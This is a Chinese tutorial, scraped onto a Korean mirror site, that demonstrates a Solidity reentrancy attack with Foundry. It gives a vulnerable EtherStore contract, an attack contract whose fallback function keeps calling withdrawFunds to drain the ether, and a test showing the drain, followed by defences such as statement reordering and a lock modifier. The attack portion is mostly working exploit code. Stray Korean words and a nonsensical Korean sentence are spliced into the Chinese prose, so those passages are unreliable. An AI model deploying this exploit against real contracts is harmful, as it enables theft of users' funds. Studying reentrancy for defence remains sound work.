重入攻击代码实现
重入就是利用 solidity 虚拟机的机制来进行攻击.
什么是重入攻击?
假设有两个合约A和合约B,合约A调用合约B,在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致个一个
每当 我们将以太坊发送到智能合约地址时,我们都会调用 我们所说的fallback函数.
폴백 函数的场景
1、调用函数找不到时
当调用的函数找不到时,就会调用默认的fallback 函数.
2、send() 函数发送ether
当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用 fallback函数.
我们这个例子就是用 fallback 函数来连续调用,最终把合约里面的钱都转出来.
被攻击合约如下:
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
攻击环境构建
用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
src/test 실행 중
EtherStore.t.sol
1,부합합
function setUp() public { //test类的 setup
store = new EtherStore();
attach = new EtherStoreAttach(address(store));
cheats.deal(address(store), 5 ether); //给合约5个eth
cheats.deal(address(attach), 2 ether); //给攻击者 2个eth
}
사기꾼은 Foundry의 모의 게임, 가능한 게임, 상단의 게임을 합친 게임입니다.
我这里转了5个eth
参考里面有cheats的文档链接
2,构建攻击合约,也就是fallback函数
contract EtherStoreAttach is DSTest { //攻击合约
EtherStore store;
fallback() external payable {
emit log_named_uint("fallback", address(store).balance);
if (address(store).balance > 1 ether) {
store.withdrawFunds(1 ether);
}
}
constructor(address _store) public {
store = EtherStore(_store);
}
function Attach() public { //发起攻击函数
store.deposit{value: 1 ether}(); //保证withdrawFunds初步检查不出问题
emit log_named_uint("testAttach", address(store).balance);
store.withdrawFunds(1 ether);
emit log_named_uint("endAttach", address(store).balance);
}
}
3、测试合约
function testAttach() public {
emit log_named_uint("test start store", address(store).balance);
try attach.Attach() {
emit log_named_uint("test ok store", address(store).balance);
} catch {
emit log_string("catch");
}
emit log_named_uint("test end store", address(store).balance);
}
攻击开始,合约里有6个eth,最后剩下一个.
如何防范
网上别人都讲过多次了
1,交换的顺序,这个看起来最简单
balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
2,给合约带锁
加合约成员,_lock变量,
加 수식어 守卫,给withdrawFunds函数加行的 수식어 守卫
操作函数时加lock,其他再进入进不去就避免了重入
3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样
pragma solidity ^0.7.0;
参考
重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)
Reference
이 문제에 관하여(重入攻击代码实现), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/xiaodao/zhong-ru-gong-ji-dai-ma-shi-xian-342d텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)